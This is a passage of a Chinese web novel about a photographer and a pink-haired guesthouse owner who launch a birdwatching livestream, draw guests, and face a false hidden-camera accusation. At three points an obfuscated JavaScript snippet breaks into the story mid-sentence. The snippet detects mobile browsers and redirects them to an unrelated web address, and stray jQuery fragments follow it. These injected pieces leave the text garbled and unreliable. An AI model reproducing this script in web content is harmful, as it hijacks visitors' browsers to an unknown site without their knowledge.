“本公子可以学。”他拿出了十二分的真挚。 对方点点头:“那麻烦谢大爷您学会了再来教我吧!” 这话说得隐晦,没有明确表态答应,也不拒绝。但以谢白颐在职场混迹多年的经验来看,观其架势,应当是答应了的。 他心下一喜,胡乱扒了几口饭,回到房间拿出几张纸,摆在餐桌的空白处。 苏漾停下筷子,满脸不解。 光芒在金丝镜片后一闪,指尖落在了文件标题上。 《主播签约合同》 苏大老板有些目瞪口呆,实在想不明白他堂堂一个大老板,怎么还要用乙方的身份来签合同。 谢大爷一副大爷做派,五指交叉二郎腿翘起:“做我的主播,哥给你发工资。” 对方咬了满腮白菜香菇卷,嚼也不嚼,眼睛瞪得圆溜。 “你,给我,发工资?” 谢白颐理所当然地“昂”了一声:“我可不学那些资本家,让你白付出劳动而无所收获。” 苏漾快被气笑了。 这话说的,好像他没有压榨自己一样。 白吃白住两年的合同还在前台抽屉里放着呢!现在就开始装上了。 他冷静开口:“能挣到钱吗?就给我发工资?” 本以为这句劝人从良的话能把对方从冲动边缘拉回来,谁知对方身体放松往椅背靠去,仰望星空大言不惭地说道:“哥不差钱。” 这人疯了? 付费上班? 这世界上有他这个被迫倒贴的倒霉蛋就算了,怎么还有自掏腰包的? 偏偏谢白颐还怕他不答应似地,趁热打铁般追加放上一支笔,冲他挤眉弄眼。 苏漾:“.......” 好想自戳双目。 笔在手指间打了个圈,苏大老板将条款看得仔细,也咨询得彻底。 谢白颐被问得冷汗直出,机不离手假装回复信息,实则资料查到手抽筋。 不是学生物的吗? 怎么如此懂法? 他甚至怀疑前公司的那份合同到底有多少条是合理合规的了。 怪不得连N+1都没拿到。 毕竟现在当老板的,有很多都不是人。 得力于万能的搜索引擎,谢白颐每次答完问题,都忍不住在暗地里缓上几口气,如此十来分钟后,他终于战战兢兢地从对方手底下逃过一劫。 合同也从最初的上下级发工资,变成了平等合作的分成制。 苏漾没话问了,将剩下的芦笋一根根塞进嘴里,再慢条斯理地喝完金贵的山珍汤,最后才拿起笔签下自己的名字。 “说好,工资不能欠。”圆珠笔头在桌上一按,发出嘎达声响。 “那是自然。”谢白颐珍重地收起合同,笑眯眯道。 今夜云层拢闭,天上见不到星河,没有可拍摄的素材之后,难得偷出几分清闲时光。 他没闲着,既然答应了要学,不如趁着这个空档做功课。 于是敬业的谢大爷挨着沙发,打开自媒体平台开始搜索起同行的直播来。 干动物宣传这行的,大多都选择在白日开播。能在夜里与观众见面的,不是学术讨论,就是去看非正常的作息生物。 例如,猫头鹰。 “乌漆嘛黑的,能看得见什么?”谢白颐看着阴气森森的一团树影,皱眉疑惑。 苏漾被他喊了来,正撑着下巴坐在旁边逐帧学习,不到几分钟,关心点就落在了其他无关紧要的方面。 “这手机牌子不错,那么远都能拍得清晰。” 混迹多年的谢白颐闻言,顿时有些失笑。 他嘴角一扯,就引来了旁边不满的视线。 美丽惑人的眼睛瞪着:你笑什么? 玩世不恭的嘴角勾起:我笑世人看不穿。 他不知该怎么解释设备电流的事,这些知识点对于连直播都不懂的小白来说,或许有些深奥了。 那道视线太凌厉,他不甘示弱地回望过去,只觉得和对方较劲起来甚有趣味。 眉来眼去之间,二人的心思都没放在直播上了。 不知怎么地,鼻尖忽然飘来了似有若无的花香,谢白颐只感觉一股电流窜在脊背,激得他指尖发麻。 草,这小子有魔力! 他紧忙撤回视线,刻意忽视掉心头狂跳的动乱,将注意力重新放回了手机界面。 只见屏幕正中间小字显示:该直播已结束。 谢白颐:“......” 苏漾:“......” 不过眨眼的功夫,直播就这么草率地结束了? 猫头鹰呢? 俩人互相瞪了一眼,在彼此眼中看到了责备的意味。 都怪你!把主播吓走了! 他们不约而同地在心里甩锅道。 出师未捷而中道崩阻,各自心里都有些不爽利。谢白颐连次日的行程和拍摄内容都忘了安排,回到房间倒头就睡。 闭上眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17240435|197706||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之前,某个念头像幽灵一般,十分不合时宜地掠过心间。 苏大老板,真香。 —— 次日清晨,谢白颐洗了个冷水澡。 他发誓自己不是故意的,并没有任何毁掉罪证的打算,只是想看看有钱的苏大老板究竟用了哪个牌子的沐浴露。 一个大男人,居然这么香!不要命了? 谢白颐擦着半湿的发,抬起手腕闻了好几次,确认这股淡淡的香气有所不同,便默认了苏大老板定是给自己留了最出众勾人的那款。 一想到这个香气会牵动其他人的思绪,心里的那股不爽又占据大脑了。 他快步走到小厨房,逮住人就问:“你昨儿用的什么沐浴露?” 今天苏大老板初显身手,生疏中带了一点局促和慌乱,被突如其来的问话吓到,险些摔了装着鱼丸的碗。 他实在搞不懂这个人,大清早的,来问什么沐浴露? “你,吃吗?”苏漾不想回答,扬起手中的碗,例行公事地问道。 “吃。”谢白颐说什么都不想再沉迷于西红柿鸡蛋打卤面了。 明知对方在习惯性地保护隐私,但心中的妒忌忽然像倒刺狂长,扎得眼红心热。 这次不想再识趣放过了。 他上前一步,重复问道:“你昨儿用的什么沐浴露?” 那咄咄逼人的气势将苏漾惊得小退两步,眼中闪过慌乱。 祖宗,他好像又惹祸了。 “你问这个做什么?” 谢白颐见他说话磕磕绊绊,更加笃定了心中想法。 他抱臂倚在门框上:“你给客房提供的那款香型不一样,没你身上的浓。” 苏漾被缠得有些烦,关了火,仔细地将人看了几眼。 “你是gay?” “?” 什么话? 明眸视线下移,落在藏于运动鞋里的白袜子上:“如果不是,这么在乎留香做什么?” 谢白颐脑子宕了机。 对啊! 他又不是gay,在乎留香干嘛? 但心里那股消散不去的气是怎么回事? 谢白颐思前想后不得解,最终把答案锁定在平等公正和谐富强上。 “你应该一视同仁。”他提出建议,仿佛领导开会,“而不能自己用贵的,把次品留给客人。” 苏漾气笑了,笑得摇曳生姿。 “你看过自己用的什么牌子了吗?” 看过,不认得。 所以...... 谢白颐察言观色的职业病犯了,一瞬间有些不敢相信。 苏漾笑得直咳嗽,抽出菜刀狠狠地剁在油豆腐上:“劳资自己都没舍得用的轻奢特调香薰,给你用还敢嫌弃!要不把我那10.9包邮的劣质冒牌沐浴露给你邮寄一箱,送货上门如何?” 恶声恶气的凶神模样,像极了出没夜间捕猎的猫头鹰。 谢白颐摸了下脖子:“主要是留香太短......” 苏漾冷笑撤身,离开厨房:“高级香才五步散呢!没品!” 没品的大爷被晾在原地,看着发坨的面糊发呆。 过了半天,他才慢吞吞地捡起砧板上还未来得及下锅的菜,一股脑儿全扔进冷水里,顺带倒了把辣椒油。 拿着五香粉回来的苏大老板:“......” 他今天说什么都不会再带人上山拍鸟了! 8. 大可不必如此 谢大爷是半个路痴。 平常有人领路的时候不记事,没人带路就自己开着导航,胡跑一起也不容易出错。可是此处荒郊野岭,少了苏漾的帮忙,他是半步都挪不开。 无法,只能端了早餐赔礼道歉。 有些时候,命运总爱和人开一些不太体贴的玩笑。 他傻坐在餐桌对面,看着苏大老板被呛得直咳嗽,不免犯了嘀咕。 有这么辣? 谢白颐对自己的厨艺产生了怀疑。 他犹豫半天不敢下筷,挑挑拣拣各种角度做了尝试,最终决定捞起半截断掉的米线,哆哆嗦嗦地放入口中品尝。 下一秒,直接冲进了厨房,从冰箱里翻出盒子,灌了两口冰牛奶。 “对......对不起!” 他辣的够呛,给人也递了包抽纸:“我没留意,辣椒放多了。” 苏漾咳得脸都红了,明眸亮亮地带着潮气,好不可怜。 他用了整叠,擤了好久的鼻涕眼泪,说话都抽噎了:“你,混蛋!” 又娇又软,把谢白颐的骨头都喊酥了。 无暇顾及这些话出现在两个大男人中间是否妥当。他自认是怜香惜玉的君子,见不得美人狼狈,当下拿起纸巾,仔细擦过对方的鼻尖嘴角,放低了态度:“哥错了,以后注意。” 被温柔以待的人愣愣地,很快连耳朵都红了。 朝霞盖在面上连成一片,分不清哪片是羞出来的,哪片是辣出来的。 谢白颐只觉得手痒。 职业病犯了,总想拍几张。 红艳艳的,好看。 “如果咱们今天不上山,研究一下直播吧?” 他转了话题,以此平复澎湃的心潮。 苏漾眼神躲闪得厉害,答应也乱,含混不清的。 倒也不似保护隐私的警惕了,反而像是......小鹿乱撞。 这个认知,让谢白颐愣在原地。 他讪讪收回手,看着纸巾有些发呆。 指下肌肤柔软,像上好的豆腐,又嫩又滑。 喉结滚动了一下,谢白颐悲哀地看向自己的白袜子。 他好像,真的完了。 —— 早晨的情况明显比晚上好很多,谢白颐大致搜索了一下,在营业的直播间中:有公园观鸟的、有纪录片讲解的、有和宠物互动的,也有动物园记录饲养日常的。 他将前排热门的视频统计成表格做了分类,意外发现观鸟讲解二合一的赛道似乎无人开辟。 一个想法快速在脑海里形成。 “话说。”他扭头,跟正在打扫卫生的苏漾说道,“我们上山的时候,你可以用手机连接我的显示屏,对着录制画面讲解,怎么样?” 苏漾抬头,眼珠子转了转,似乎在思考可行性。 见人没有反驳,谢白颐趁火打劫:“这个赛道没人做,说不定可以试试。” 粉色的长发在半空甩出悠扬的弧度,苏大老板随手拿发绳绑了,说:“那你教我。” 一句话,成功把提建议的人拉入坑。 希望的光在眼前闪烁着,谢白颐在路的尽头看到了爆火的直播间,激增的流量,接到手软的广告和...... 捂着脸依偎在怀里羞涩埋头的苏漾。 ...... 什么东西! 晦气! 他朝地上呸了声,随后被苏大老板端着拖把,暴力地扫出门外。 —— 在谢白颐的帮助下,苏漾仅花了一晚上的时间便熟悉了屏幕操作。 如今网络发达了,许多短视频也有教学软件的操作和使用方法。加之直播课程铺天盖地,有钱的谢大爷自作主张,买了好几节大师课送给了未来的主播。 对此,苏大老板表示人情债难还,压力比伫立远方的雪山还要重。因而每每挑灯夜战,苦读得比考研还要努力。 如意民宿的生意不好,十天半个月过去还是无人问津。美滋滋地过上独享生活的谢白颐把办公环境挪到了走廊里,每日吹着山风喝着果茶,再配上几分小糕点,惬意得令人不想挪窝。 果茶是时令新上的,比前几日煮开的苹果水不同。刚开始苏漾端了来时,颜色浓郁如红色宝石,看得谢白颐心情大好。 “什么茶?”他斟了杯。 “桑葚与蔓越莓。”苏漾答得简约。 这两种浆果都是谢大爷的心头好,当下兴致高昂,倒了满杯一饮而尽。 “噗!” 地面如被喷枪上了色,开出不规整的水花。谢白颐一张帅脸拧起,皱皱巴巴地像揉成团的纸。 “你没放糖?” 苏漾看上去有些迷茫,手足无措地站在原地,瞳孔涣散。 “啊?还要加糖?” 自此,谢白颐对苏大老板的怪异口味刷有了新的认知。 苏漾最大的优点是说改就改,几日后,再端上来的果茶变成了致死量的甜。 旁边还贴心地配了一个小碟子,上面整齐码着几块方糖。 大可不必如此。 谢白颐觉得自己的胰腺在隐隐作疼。 他重新提了要求,第三日,苏漾没再往茶里加糖,而是换成了增减随意的自定义模式。 对此,谢白颐有些疑惑:“你喝这么酸的东西,不加糖能行吗?” 苏漾说:“我平常就这么喝,不觉得酸。” 谢白颐忽然很想给他送几个未成熟的枇杷尝尝鲜。 镜头太多,光是筛选出来有用的片段就是个大工程。谢白颐本想两日内完成初版剪辑再上山补镜头,却在删减素材片段时迷花了眼。 和以往在公司里工作内容不同。那时候,谢白颐只需负责扛起相机拍部分镜头,剪辑和其他片段的活儿则是由其他同事承接包揽。 如今,全部重任都落到他一个人身上,忽然有些吃不消了。 怪不得宁愿裁了摄影师也要保住剪辑,这简直就不是人干的活! 谢大爷有个老头习惯,焦躁起来就拼命喝茶。不过一个早上,大玻璃茶壶里的水就见了底。 苏漾端来午饭,撤走茶壶的时候神情疑惑,抬起来好几次,对着底部皱眉。 谢白颐从电脑跟前抬起头,看着他古怪的行径,问:“怎么了?” 苏漾摇摇头,细声嘀咕:“茶壶没裂啊?水怎么没了。” 谢大爷尴尬的烟瘾又犯了。 得益于此处山明水秀,平常闲来无事抽根烟的习惯很快就被治得彻底。 有时候刻意戒烟不见得能成功,无意中忘记,再回想起来时,忽然就失了必要。 苏漾不喜欢烟味儿,民宿各个角落都贴满了禁烟告示,多到有些影响到高逼格的装修环境。 谢白颐对此提过几次意见,都被义正辞严地挡了回来。 苏漾说,比起环境的高级感,他更希望能严格 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17240436|197706||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 遵守法律,保证公序良俗。 “那你这钱不是白花了?”被迫禁烟的指尖有些难耐,恨不得把那些告示牌全都抠下来点火。 苏漾眼神如刀,仿佛要给人来一次印象深刻的刮骨疗伤:“环境的高级感来源于空气清新。” 出差时住惯高级酒店的谢白颐很快就认同了这个说法,并从第二日开始用牛肉干代替烟头。 很快,一斤的分量见了底。 苏漾明显也被他从草原地区带来的正宗牛肉干吸引了,只可惜没吃几日,只能眼巴巴地将人望着。 眼神如此委屈,以至于谢大爷有些扛不住。 “来点儿?”他拿起袋子晃了晃,剩下几块梭梭作响。 苏漾上下将人打量几眼,整包抢过,飞也似地窜回了自己屋内,还上了锁。 “......” 谢白颐有些无奈,笑着给远在天边的草原朋友发去信息:“兄弟,给我寄10包牛肉干过来。” —— 直播的初尝试,定在再次进山补镜头的那日。 谢白颐对着苏漾整理出来的相关资料连夜写了脚本,以确保挑选几日的剪辑素材能在最大范围内得以使用。享受了几天晚起的大爷再次顶着蒙蒙亮的天空架起装备时,懒筋顿时犯了。 “要不你帮我抗上去?”他对着怪力粉毛笑眯眯地说。 苏漾横过眼神来,一言不发。 “别分那么清嘛!”谢白颐笑意不减,尾音懒散,“都合作关系了,不用分你我。” 苏漾笑哼:“好啊!那你的收入全给我,怎么样?反正不分你我。” 乖软的表皮一旦脱去,就会露出里头的坚刃獠牙。谢白颐与人相处了半个月,总算摸清楚了苏大美人的脾性。 像小动物似的,得顺毛摸。 他收起了撩骚:“逗你呢!我可不舍得压弯这么漂亮的脊背。” 苏漾闻言背过身去,耳朵很快再次红透。 美人一身秀骨,脊背是又薄又直的形状,不是细狗那种见之生厌的身材,而是有筋骨、有风度、坚韧有余,见之忘俗。 想到他那顶好的身手,谢白颐倒也不奇怪。 “你的拳脚功夫哪里学的?还挺辣。”他评价得随心所欲,连自己说了什么话都浑然不觉。 闷闷的声音从前方传来:“今天还要拍雄鸟吗?” 又是避而不谈。 谢白颐只觉得对方是个铜墙铁壁,刀枪不入,水火不济,柔和的风也能挡在门外。 他笑着咬牙:“拍,先补雄鸟的镜头。” 松山里前几日的果子又被吃得差不多了,谢白颐见状,未免有些担心。 他收起了玩笑心思:“确定今天能拍到?” 苏漾调试了着设备,将收音器连接到手机上,再把手机接到显示屏处。 闻言说:“我不保证这些,但如果想拍雄鸟,出没概率最大的就是这片林子了。” 松涛枕云,风吹作响,谢白颐仰卧在太阳椅上,目视着光辉洒落,像聚光灯般尽数打在苏漾身上。 粉发披落,沐浴在金色的光晕中,看久了,竟品出一丝与人严重不符的神性来。 怎么说呢? 倒也不违和,只是有些异样的特别。 谢白颐说不上来那是种什么感受,只觉得心头像被羽毛扫过,有些麻软。 鬼使神差地,他拿出手机,对着人“咔嚓”拍了一张。 9. 13间客房 最近这段时日,谢大爷时不时喜欢将人抓拍几张,竟意外把苏漾的上镜羞耻给打磨了去。 他拿出直播用的手机架在地面,对准显示屏,打听道:“您拍这么多素材,都能用上么?” “那可不好说。”谢白颐听出来了话里的一语双关,将镜头焦距拉近,框着枝丫做构图,“素材么,宜多不宜少,有备无患。” 只见对方笑笑,并没有反驳。 灰头灰雀此时正处于繁殖季节,在海拔2000米以上的亚高山针叶林中甚是常见。与非繁殖期的小家庭模式不同,这种注重隐私的鸟雀往往更喜欢在这段时日里成双成对。 根据苏漾的观察,这段时日里,雄鸟最喜欢在此处出没吸食杜松果实。而雌鸟则在安心搭巢,等待丈夫的归来。 苏漾是这般和谢白颐解释的,自然也是如此在直播中讲解的。他没有露脸,而是将镜头对准了正在录制当中的高清显示大屏,让更多的人看清这种灰雀的活动轨迹。 初次尝试,人烟罕至。两个人都是直播领域的新手小白,对流量池的分配一概不知,只能眼睁睁地接受了观看量始终停在0的数字上,干讲半天也不蹦跶。 他们在对视里看到了彼此眼中苦涩的笑意。 “这破直播间,咋跟你的民宿流量不相上下?”谢白颐撕了块牛肉干下来,郁闷地嚼着。 苏漾灌了口水,借此滋润拔干的嗓子:“这话还真是问对人了,我又不懂直播。” 两个小时过去,灰头灰雀的身影早已不知去往何方。直播间没有人来人往,尴尬的2个观看量还是谢白颐为了调试镜头开小号点进去的。 苏漾蹲在山泉旁,试图以不太灵光的脑子复盘本场直播经验。 “别盘了。”谢白颐站在山石上,递给他一壶水,“没有数据就没有参考,怎么死的都不知道,琢磨不明白的。” 苏漾闷头仰饮,水流到细长的脖颈处,洇入锁骨:“咱明天还播吗?” 谢白颐眼神微滞,动作极快地用毛巾沾山泉冷水洗了把脸:“播,既然决定了,那就坚持做下去。” 两个人乘兴而去,败兴而归。回到民宿里的苏漾连饭也不吃了,一头扎进各大直播间里学习他人的技巧方式。 “露脸,语调抑扬顿挫,手势要控制在三个以内做知识强调,眼神坚定......” 他一边沉吟,一边跟着所谓的直播大师课指手画脚。说到最后那句话时,旁边忽然传来一声大喊:“停。” 苏漾投去不解的目光。 谢白颐的神色变得有些复杂:“你那个眼神再坚定些,都可以直接上战场了。” ...... 可以不用这么直白。 谢白颐飞快扒拉出收藏的视频,从压箱底的网盘里翻出一套戏曲眼神教学训练课程,将链接甩过去。 “学这个。”他自信满满地推销说,“再难搞的眼神,这套功课都能给你矫正过来。” 俗话说得好,万事开头难。苏漾在无人观看的情况下就当对空气演练,坚持以专业的文本形式讲解显示屏中正在录制的鸟雀知识。私底下则忙里偷闲,对镜观察自己的一颦一笑,努力练习表情和眼神管理。 功夫不负有心人,终于在半个月后的某次操作失误中,意外迎来了直播间的第一个颜粉。 [哦豁?刚才闪过去的是什么?] [居然是粉毛?男的女的?] 苏漾不是故意的,因谢白颐没打招呼擅自挪动了摄像机的位置,他也只能抬起三脚架跟着动。谁成想路面不平整,三脚架支棱不住眼见着就要倒地,他急忙伸手去捞,却不小心将画面切换成了前置镜头。 自己的脸突然出现在镜头前,引得他方寸大乱。他慌忙将画面转回去对准显示屏,没几秒就看见了这条弹幕。 脑中瞬间宕机,后面的稿子不争气地被忘了一干二净。无奈之下,他只能轻扯两下旁人的袖子,把正在拍摄纪录片的大摄影师拉过神来。 谢白颐用眼神传递疑惑:怎么了? 苏漾手足无措,点点屏幕,以示求助。 他凑过头来,一看,乐了。 “是小哥哥哦!”阳光爽利的声音透过屏幕传来,“请大家多多支持我们的人美心善的主播哈!” 话音刚落,弹幕瞬间亮起了个“咦”字。 [刚才不是这个声音。] 很快,那位观众像是意识到什么一般,飞快弹出两条弹幕。 [你也是小哥哥?] 谢白颐面上笑嘻嘻:“不,我是你大爷。” 新人主播贴脸开大,最能引起无聊之人斗嘴的乐趣。一来二去的礼尚往来间,自然也吸引来了第二三四五个凑热闹的人前来驻足观看。 [什么小哥哥,我也看看。] [有腹肌吗?] [露个脸呗?] 苏漾的表情有些难堪,他本能地望向谢白颐,却从对方的眼中看到了肯定和鼓励。 大摄影师朝自己努嘴,怂恿的神情分明表示:上啊!不然学那么久的课程拿来干嘛? 从未有任何露脸经验的苏大老板深吸两口气,破釜沉舟那般,转过了摄像头。 弹幕瞬间哇声一片。 [天呐!是明星吗?] [vocal粉毛!长发撕漫男居然有真人版了?] [刚才说这是个什么直播间来的?我好像失忆了。] [我好像听到了个什么鸟?] [啥?不是颜值主播?] 一牵二、二带三、三生四、四引五......很快,平素0人问津的观看量迅速直线增长。 有些不明所以的路人开始询问直播内容,苏漾有些意外,微微睁大眼睛。 他一如既往地实诚:“我不是颜值主播,这里是讲解鸟类的。” [这是能说的吗?] [咱们国家现在这么开放了?] [楼上的,你们不要谈鸟色变啊喂!] 谢白颐也吃了一惊,生怕经营许久的账号举报被封,连纪录片也顾不得录了,急忙走到屏幕跟前解释道:“我们是一个观鸟直播间,目前处于2400米的高山里,呼吁大家能通过直播更好地关注高原生态。” 说罢,忽视了屏幕里闪过铺天盖地的问号,直接将镜头切回后置,对准显示屏。 [啊?真的是动物的那个鸟啊?] [切!我还以为擦边主播,没意思。] [性缩力这一块儿......] [可惜了可惜。] 许多观众刷屏后纷纷如潮涌退去,后来居上的几条评论反倒吸引了谢白颐的注意力。 [什么啊?现在主播不擦边就没人看了?] [支持颜值男主播科普专业知识,爱看,多看。] [我觉得保护生态挺好的啊? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17240437|197706||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这些人在可惜什么?] 苏漾心下一暖。 原来,也是有正常人的。 他端起温柔清甜的嗓音,诚挚地感谢道:“对,我们是观鸟直播间,前置镜头是调试时出了意外,有宝子说想要看一下主播的样子,我才切过来的。” 有了前面的铺垫,还停留在直播间的观众对这180度的转变明显接受得更容易了。 [老婆看的什么鸟?] [老婆也是观鸟爱好者吗?] [通通闪开,这是我老婆!] [胡说!明明是我老婆!] 苏漾有些哭笑不得,刻意忽视了那些令人头大的跨性别言论,挑着弹幕回复道。 “目前屏幕里显示的黑额山噪鹛。” “不是观鸟爱好者,但略知一二,摄影师才是专业的。” “各位好热情啊!感谢大家的支持。” 谢白颐切着小号在后台看着,面对清一色刷屏的老婆,嘴里莫名有些酸。 “啧啧,老婆。”他笑着,摇头叹道。 声音不大,刚巧通过收音器传进了手机里。 弹幕安静了一下,随后齐齐爆发出惊人的刷屏速度。 [哦哟!好酸的醋味儿,我在西北都闻见了。] [下饺子都不用蘸醋吧哥?] 苏漾痛苦地双手捂脸,将红透的面皮埋进掌心里冷静。 谢白颐对弹幕嗤之以鼻,偷偷举起手机录了一段大美人的自闭模样,笑着回道:“谁酸了?哥直男,不要胡说八道啊!” [众所周知,一般说自己是直男的都是深柜。] 也不知道触发了哪里来的复制党,瞬间引来满屏+1。 眼见话题逐渐跑偏,谢白颐清了清嗓子,问道:“大家都是来看人的吗?就没有人关心一下我们直播间的主题?” 弹幕顿时哄堂大笑。 [有老婆谁还看鸟啊?] [这么伟大的一张脸镇场,我不信你两眼空空。] [专业知识容易养胃,美人如画舒心养肺。] 苏漾偷偷撑开指缝,在一众调侃声里,意外捕捉道某条信息。 [画面里的是黑额山噪鹛?哪个机位?] 他愣住,当下也顾不得羞了,放下双手紧忙扒住弹幕,连声道:“是的,我们正在拍摄黑额山噪鹛。您可以搜索如意民宿,这边有好几个观鸟点都在附近,方圆2公里内徒步登山可见。” 那边很快就从后台发了个私聊:[如意民宿?有定位吗?] 谢白颐瞥见,代替回道:“这位看官你好,定位有的,晚些主播下线后台发给您哈!” 一番话,引得弹幕炸开了锅。 [民宿?] [哦豁!那是不是意味着可以在线下见到主播真人了?] [你这么一说......] 很快,后台响起了连番轰炸的消息。 苏漾扒拉弹幕的指尖都有些抖:“那个,我就是民宿老板。” 他逮住弹幕安静如鸡的缝隙,轻声道:“寒舍偏僻,承蒙各位在意。如果大家有意来这里小住,可以点点关注并后台私信主播,目前还有15间客房剩余,先到先得。首批开业用户可享受无门槛8折优惠,第二批前来入住的宝子门也则能享受85折哦。” 很快,谢白颐笃定的声音就从旁边传来:“不,现在只剩下13间客房了。” 10. 隐藏摄像头 意外摸到憋单技巧的苏漾这几日里有些忙不过来,直播间接连定出几套客房,不出三日客人便陆陆续续到齐了。 这一批顾客里,除了两位真正的观鸟爱好者之外,其余人等都是想来线下一睹老板的盛世美颜。 专心服务客人的苏漾自然腾不出时间直播,大约画了路线图扔给谢白颐,让他带着两位同好自由结伴,摸索着路在附近山里转了好几圈。 前几日私信要定位的大哥就是专门冲着黑额山噪鹛来的。 “只拍这一种鸟儿?多亏呐!”谢白颐看着对方身家10万起步的装备,有些羡慕。 大哥姓聂,名怀远,在市里的旅游宣传委工作。这几日攒齐了年假,在北部拍了许多高原地区独有鸟类的照片,但偏偏运气不太好,一直没找到黑额山噪鹛的踪迹。 直播是他无意中刷到的,最开始停留的原因是觉得两个男的直播有些新鲜,停留几分钟后才得知,这里居然是一个正儿八经的科普直播间。 画面上安然出现的黑额山噪鹛吸引了他的注意。 “小伙子不错,直播主题挺好,比那些擦边的正能量多了。”聂怀远一手拿着保温杯,满意地看着相机里记录了满满当当的照片,欣慰地拍了拍领路人的肩。 谢白颐笑道:“过奖过奖,真要擦边咱也不会,就来点儿勉强能见人的内容,见笑了。” 聂怀远有些好奇:“你们是怎么发现黑额山噪鹛会出现在这片林子里的?” 谢白颐回忆着前几天苏漾的直播内容,慢慢复述。 “虽然黑额山噪鹛也和灰头灰雀一样,常年栖息在海拔2500米以上的亚高山针叶林或针阔叶混交林中。但这种鸟有一点不同,他们更喜欢活动在杉树林中,特别是有苔藓覆盖的林下矮竹或灌木丛里。只要符合以上几点,大概率都能捕捉到他们的身影。” “怪不得。”聂怀远恍然大悟:“我从北边过来的,那里苔藓几乎不见,矮竹丛也少得可怜。” 谢白颐有些好奇:“北边是到哪儿?” 聂怀远说:“翻过那座雪山,国道446附近。” 谢白颐听到那个数字便知道是哪里了。 “大哥身体挺耐造。”他感慨,“去这么高的地方,还能抗这套装备。” 聂怀远指了指心脏的位置:“身体不好才能待呢!跟我同行的那哥们儿,还没进2500米的山口就已经倒下了。” 另一位爱好者是陪着妻子来的。夫妻俩目的各有不同,男的带了望远镜来观鸟,女子则是为了看看粉发美人究竟长啥样。 苏漾久不见客有些腼腆,态度蛮好地提供了花茶水果,低眉浅笑:“两位慢用,有什么需要的,可以第一时间告诉我。” 女子装扮洋气,看上去很是开朗。遮阳帽帮她挡去部分紫外线,阴影处衬得表情愈发和蔼。 她看着忙前忙后的苏大老板,笑着打听:““小哥今年几岁?有对象没?” 苏漾一怔,礼貌回道:“还没,暂时没有这方面的打算。” “诶!”女子一摆手,说,“男孩子先成家再立业,别拖太久。实在没有女孩儿认识,要不姨给你介绍个?” 谢白颐在旁听着牙酸,刚想岔开话题,就听见那位丈夫说:“得了吧!没看直播里他俩是一对吗?别瞎搅和啊!” 女子不满地“啧”了一声:“人家都说了自己是直男。” 谢白颐哈哈干笑几下,承认的话溜到嘴边,忽然就说不出口了。 这种状态很不安全。 早在前几日的直播间里,他就发现了这个问题。想来康健的牙龈不知何时患上了时不时泛酸的毛病,随着这几日租客入住,看见年轻的小女孩儿对着苏漾犯花痴套近乎的情形,这种不适感更加明显。 他开始思考,是不是要抽出时间,预约牙医看看病。 如意民宿的定价不高,装修和服务却是一等一的好。几位租客来此体验了一番极致性价比后,都不约而同地在网络上自发帮忙宣传起来。 不过,凡事皆有例外。 前来入住的客人里,有好几位都没少给苏漾带来困扰。既然冲着颜值而来,必然少不了要多看几眼大饱眼福,故而将他使唤得频繁。 更有甚者,故意打碎了淋浴间的镜子,借机挑起了事。 谢白颐一早就看出来那人心存幻想,对苏漾使唤得尤为频繁。只是以他的身份,确实不该出言说些什么,只能一边剪着视频,一边暗自消解闷气。 这种通过制造误会加深接触的手段,对于走南闯北的谢白颐来说早已见怪不怪。在他的经验里曾,有不少人都因此邂逅了浪漫因缘。 只是,他不想让苏漾成为那个被人采撷的缘。 积蓄的烦闷涌上心头,谢白颐终于忍耐不住,猛地合上笔记本,来到了案发现场。 脚步在地面踩出响亮的声音,他一把拉过那只纤细手腕,本能地将人护在身后,避开了散落地面玻璃渣子。 “别过去,仔细伤到脚。” 苏漾眼睛一眨,很快就明白了谢白颐的用意。 他作出温柔状,轻轻拍了拍握住自己的手背,安抚道:“不必担心,这点小事还伤不到我。” 那租客被二人的互动激红了眼,声音变得有些尖利:“你们在浴室的镜子里安装摄像头,是想拍点儿什么吗?” 她喊的大声,难免传到隔壁。 平日里只懂得插科打诨的谢白颐第一次露出严肃的神情。 “什么摄像头?”他紧盯对方的眼睛,平静道,“你指出来,我看看。” 动静吸引了其他租客。 聂怀远是第一个来的,见状不由问道:“什么情况?” 谢白颐刚要开口介绍,就被那位闹事者抢先一步告状。 只见她指着碎在地上的镜子,破口大骂:“这两个狗男人狼狈为奸,自己搞基也就算了,还要在浴室里装摄像头偷-拍,恶心下流!” 另一个独自前来的女生站在门口,闻言有些疑惑:“不对啊?我进门第一时间就检测了,并没有发现异常。而且游戏的共同连接列表也没有显示其他电子设备的存在。” 聂怀远皱眉不语,看着光滑的墙壁和地面,拍了几张照片,不知发给了谁。 